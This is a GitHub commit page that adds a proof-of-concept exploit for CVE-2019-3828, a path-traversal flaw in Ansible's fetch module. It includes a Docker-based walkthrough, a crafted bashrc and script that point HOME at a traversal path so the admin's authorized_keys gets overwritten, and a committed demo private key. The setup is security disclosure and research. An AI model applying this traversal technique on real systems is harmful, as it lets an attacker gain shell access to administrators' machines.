Skip to content

Commit f08b051

Browse files
author
Sam Lanning
authored
Merge pull request #2 from kevinbackhouse/SecurityExploits
Security exploits
2 parents f8b25ce + 8b279e2 commit f08b051

90 files changed

Lines changed: 4454 additions & 0 deletions

File tree

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

.gitignore

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,2 +1,3 @@
1+
.DS_Store
12
*~
23
/.metadata/
Lines changed: 99 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,99 @@
1+
# Path traversal vulnerability in Ansible fetch module (CVE-2019-3828)
2+
3+
This directory contains a proof-of-concept exploit for [CVE-2019-3828](https://access.redhat.com/security/cve/cve-2019-3828), a path-traversal vulnerability in Ansible's [fetch module](https://docs.ansible.com/ansible/latest/modules/fetch_module.html). The scenario for the demo is that there are two computers, named "server" and "zeuss". The former is a member of a server farm managed using Ansible. The latter machine belongs to a systems adminstrator who is responsible for managing the server farm. The system administrator's username is "bofh". Now imagine that an attacker has managed to infiltrate one of the server machines and is able to run arbitrary commands as the "bofh" user. But the attacker does not know bofh's password, so is not able to access other user accounts, or other computers, such as zeuss.
4+
5+
Ansible's fetch module is used to copy files from the servers back to the system adminstrator's computer. In this demo, the system administrator is going to download `.ssh/authorized_keys` from the server to check that it hasn't been tampered with. But the attacker is going to exploit a path traversal vulnerability in the fetch module and overwrite the system administrator's own `.ssh/authorized_keys`.
6+
7+
The demo uses [docker](https://www.docker.com/) to simulate the two computers. See below for instructions.
8+
9+
## Network setup
10+
11+
Create a docker network bridge, to simulate a network with two separate computers.
12+
13+
```
14+
docker network create -d bridge --subnet 172.16.0.0/16 ansible-demo-network
15+
```
16+
17+
## Server setup
18+
19+
Build the docker image:
20+
21+
```
22+
docker build ./server -t ansible-server
23+
```
24+
25+
Start the container:
26+
27+
```
28+
docker run --rm --network ansible-demo-network --ip=172.16.0.10 -h server -i -t ansible-server
29+
```
30+
31+
Inside the container, start `sshd` to enable remote access from zeuss.
32+
33+
```
34+
tmux # this step is optional: it enables you to open multiple terminals inside docker
35+
sudo service ssh start # sudo password is "x" (this is the only time that sudo is used)
36+
```
37+
38+
## Zeuss setup
39+
40+
In a new terminal, build the docker image for zeuss.
41+
42+
```
43+
docker build ./zeuss -t ansible-zeuss
44+
```
45+
46+
Start the container:
47+
48+
```
49+
docker run --rm --network ansible-demo-network --ip=172.16.0.11 -h zeuss -i -t ansible-zeuss
50+
```
51+
52+
Inside the container:
53+
54+
```
55+
source ./ansible/hacking/env-setup # Add Ansible to the path
56+
tmux # this step is optional: it enables you to open multiple terminals inside docker
57+
sudo service ssh start # sudo password is "x"
58+
```
59+
60+
## Running the exploit
61+
62+
First, let us see how the fetch module is *supposed* to work. On zeuss, run the following commands:
63+
64+
```
65+
cd /home/bofh/config
66+
ansible-playbook myfetch.yml
67+
```
68+
69+
This copies `authorized_keys` from the server to the following locatino on `zeuss`:
70+
71+
```
72+
/home/bofh/config/fetched/172.16.0.10/home/bofh/.ssh/authorized_keys
73+
```
74+
75+
Note that the file has been placed safely in a subdirectory of the current directory.
76+
77+
Now let's enable the exploit on the server. Run the following commands on the server:
78+
79+
```
80+
ssh-keygen -t ed25519 -f /home/bofh/.ssh/id_ed25519 # Create a new ssh key
81+
cat /home/bofh/.ssh/id_ed25519.pub >> /home/bofh/.ssh/authorized_keys # Add new key to authorized_keys
82+
cd /home/bofh/scripts
83+
./enable_exploit.sh
84+
```
85+
86+
Now go back to zeuss and run the same fetch playbook as before:
87+
88+
```
89+
cd /home/bofh/config
90+
ansible-playbook myfetch.yml
91+
```
92+
93+
The `authorized_keys` file has now been overwritten. Which means that the attacker can ssh into zeuss. Run this command on the server:
94+
95+
```
96+
ssh 172.16.0.11
97+
```
98+
99+
The attacker has a shell on zeuss!
Lines changed: 20 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,20 @@
1+
FROM ubuntu:bionic
2+
3+
RUN apt-get update && \
4+
apt-get install -y \
5+
ansible git curl zip unzip psmisc \
6+
tmux sudo emacs openssh-server net-tools \
7+
gcc
8+
9+
# Create a user account named "bofh" (which will have sudo privileges).
10+
RUN adduser bofh --disabled-password
11+
12+
# Grant the 'bofh' user sudo access (only so that we can start sshd).
13+
RUN adduser bofh sudo
14+
RUN echo "bofh:x" | chpasswd
15+
COPY home/ /home/bofh/
16+
RUN chown -R bofh:bofh /home/bofh
17+
18+
# Switch over to the 'bofh' user, since root access is no longer required
19+
USER bofh
20+
WORKDIR /home/bofh
Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOMlKzkE3eZi8hNuNzp03Jz95dBu6621V8HstIJJgisT bofh@zeuss
Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
cd /home/bofh/k/e/v/w/o/z/e/r/e
2+
export HOME=../../../../../../../../../home/bofh
Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,6 @@
1+
#!/bin/bash
2+
mkdir -p /home/bofh/k/e/v/w/o/z/e/r/e
3+
mkdir -p /home/bofh/home
4+
ln -s /home/bofh/ /home/bofh/home/bofh
5+
cd /home/bofh/scripts
6+
cp /home/bofh/scripts/bashrc /home/bofh/.bashrc
Lines changed: 26 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,26 @@
1+
FROM ubuntu:bionic
2+
3+
RUN apt-get update && \
4+
apt-get install -y \
5+
git curl zip unzip psmisc \
6+
tmux sudo emacs openssh-server net-tools x11-apps \
7+
build-essential libssl-dev libffi-dev python-dev \
8+
python-setuptools python-jinja2 python-yaml
9+
10+
# Create a non-root user account to run Ansible.
11+
RUN adduser bofh --disabled-password
12+
13+
# Grant the 'bofh' user sudo access, so that we can start sshd.
14+
RUN adduser bofh sudo
15+
RUN echo "bofh:x" | chpasswd
16+
COPY home/ /home/bofh/
17+
RUN chown -R bofh:bofh /home/bofh
18+
19+
# Switch over to the 'bofh' user, since root access is no longer required
20+
USER bofh
21+
WORKDIR /home/bofh
22+
23+
# Get vulnerable version of Ansible source code.
24+
RUN git clone https://github.com/ansible/ansible.git && \
25+
cd ansible && \
26+
git checkout f9f7b29a5a5543e8d1c25e8cc1f2d3040d8536b7
Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,7 @@
1+
-----BEGIN OPENSSH PRIVATE KEY-----
2+
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
3+
QyNTUxOQAAACDjJSs5BN3mYvITbjc6dNyc/eXQbuuttVfB7LSCSYIrEwAAAJDuQrmQ7kK5
4+
kAAAAAtzc2gtZWQyNTUxOQAAACDjJSs5BN3mYvITbjc6dNyc/eXQbuuttVfB7LSCSYIrEw
5+
AAAEATobJL9MLSQNtHem7bzn8zp7dLWqdqP5VQo3Ma61L9+eMlKzkE3eZi8hNuNzp03Jz9
6+
5dBu6621V8HstIJJgisTAAAACmJvZmhAemV1c3MBAgM=
7+
-----END OPENSSH PRIVATE KEY-----
Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOMlKzkE3eZi8hNuNzp03Jz95dBu6621V8HstIJJgisT bofh@zeuss
Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
[defaults]
2+
inventory = inventory.d

0 commit comments

Comments
 (0)